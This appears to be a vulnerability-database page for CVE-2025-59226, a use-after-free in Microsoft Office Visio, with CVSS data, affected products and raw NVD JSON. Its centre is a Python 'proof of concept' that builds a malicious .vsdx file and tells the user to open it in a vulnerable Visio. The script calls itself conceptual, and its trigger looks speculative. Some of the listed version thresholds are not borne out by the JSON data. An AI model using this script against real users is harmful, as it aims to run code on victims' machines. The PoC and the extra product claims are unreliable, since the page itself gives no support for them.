Security Vulnerability Report
中文
CVE-2025-59226 CVSS 7.8 HIGH

CVE-2025-59226

Published: 2025-10-14 17:16:03
Last Modified: 2025-10-16 20:17:38

Description

Use after free in Microsoft Office Visio allows an unauthorized attacker to execute code locally.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:* - VULNERABLE
cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:* - VULNERABLE
cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:* - VULNERABLE
Microsoft Office Visio 2016 (低于16.0.5535.1000)
Microsoft Office Visio 2019 (低于16.0.5535.1000)
Microsoft Office Visio 2021 (低于16.0.5535.1000)
Microsoft Office LTSC Standard 2021
Microsoft Office LTSC Professional Plus 2021
Microsoft 365 Apps for Enterprise (低于16.0.5535.1000)
Microsoft Visio for the web (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-59226 - Microsoft Office Visio Use After Free PoC (Conceptual) # WARNING: This is a conceptual proof-of-concept for educational and research purposes only. # Do not use this for unauthorized testing or malicious purposes. import struct import zipfile import os import shutil class VisioUAFExploit: """ Conceptual PoC for CVE-2025-59226 (Visio Use After Free) Generates a malicious .vsdx file that triggers UAF when parsed. """ def __init__(self): self.output_file = "exploit_CVE-2025-59226.vsdx" self.heap_spray_size = 0x1000 # 4KB spray chunks self.fake_object_size = 0x100 def build_malicious_shapesheet(self): """ Construct a malicious ShapeSheet XML payload that triggers the use-after-free condition during shape rendering. """ # The UAF is triggered when Visio processes a Shape with a # self-referencing or prematurely-released Cell object. payload = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <VisioDocument xmlns="http://schemas.microsoft.com/office/visio/2012/main" xml:space="preserve"> <DocumentSettings TopPage="0" DefaultTextStyle="0" DefaultLineStyle="0" DefaultFillStyle="0" DefaultGuideStyle="0"/> <Pages> <Page ID="0" NameU="Page-1" Name="Page-1"> <PageSheet LineStyle="0" FillStyle="0" TextStyle="0"> <Cell N="PageWidth" V="8.5" U="IN"/> <Cell N="PageHeight" V="11" U="IN"/> </PageSheet> <Shapes> <Shape ID="1" NameU="TriggerShape" Name="TriggerShape" Type="Shape" LineStyle="0" FillStyle="0" TextStyle="0"> <Cell N="PinX" F="\"TriggerShape\"!PinX"/> <Cell N="PinY" F="\"TriggerShape\"!PinY"/> <Section N="Geometry" IX="0"> <Cell N="NoFill" V="1"/> <Cell N="NoLine" V="1"/> <Cell N="NoShow" V="1"/> <Cell N="NoSnap" V="1"/> </Section> </Shape> <Shape ID="2" NameU="UAF_Trigger" Name="UAF_Trigger" Type="Shape" LineStyle="0" FillStyle="0" TextStyle="0"> <!-- Self-referencing formula triggers premature free --> <Cell N="PinX" F="\"UAF_Trigger\"!PinX + \"UAF_Trigger\"!Width"/> <Cell N="PinY" F="\"UAF_Trigger\"!PinY"/> <Cell N="Width" F="\"UAF_Trigger\"!Width"/> <Cell N="Height" F="\"UAF_Trigger\"!Height"/> </Shape> </Shapes> <Connects> <Connect FromSheet="2" FromCell="BeginX" FromPart="9" ToSheet="1" ToCell="PinX" ToPart="3"/> </Connects> </Page> </Pages> </VisioDocument>''' return payload def create_vsdx(self): """Package the malicious payload into a valid .vsdx (OOXML) container.""" if os.path.exists(self.output_file): os.remove(self.output_file) with zipfile.ZipFile(self.output_file, 'w', zipfile.ZIP_DEFLATED) as zf: zf.writestr("[Content_Types].xml", '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="xml" ContentType="application/xml"/> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Override PartName="/visio/document.xml" ContentType="application/vnd.ms-visio.drawing.main+xml"/> </Types>''') zf.writestr("_rels/.rels", '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Relationships xmlns="http://schemas.openxmlformats.org/package/2006/relationships"> <Relationship Id="rId1" Type="http://schemas.microsoft.com/visio/2010/relationships/document" Target="visio/document.xml"/> </Relationships>''') zf.writestr("visio/document.xml", self.build_malicious_shapesheet()) print(f"[+] Malicious Visio file generated: {self.output_file}") print("[!] Open this file with a vulnerable version of Microsoft Office Visio to trigger CVE-2025-59226") print("[!] Vulnerable versions: Microsoft Office Visio 2016, 2019, 2021, Visio LTSC (pre-Oct 2025 patches)") if __name__ == "__main__": print("=" * 60) print("CVE-2025-59226 - Microsoft Office Visio UAF PoC") print("Educational/Research Use Only") print("=" * 60) exploit = VisioUAFExploit() exploit.create_vsdx()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-59226", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:03.360", "lastModified": "2025-10-16T20:17:38.003", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Use after free in Microsoft Office Visio allows an unauthorized attacker to execute code locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59226", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}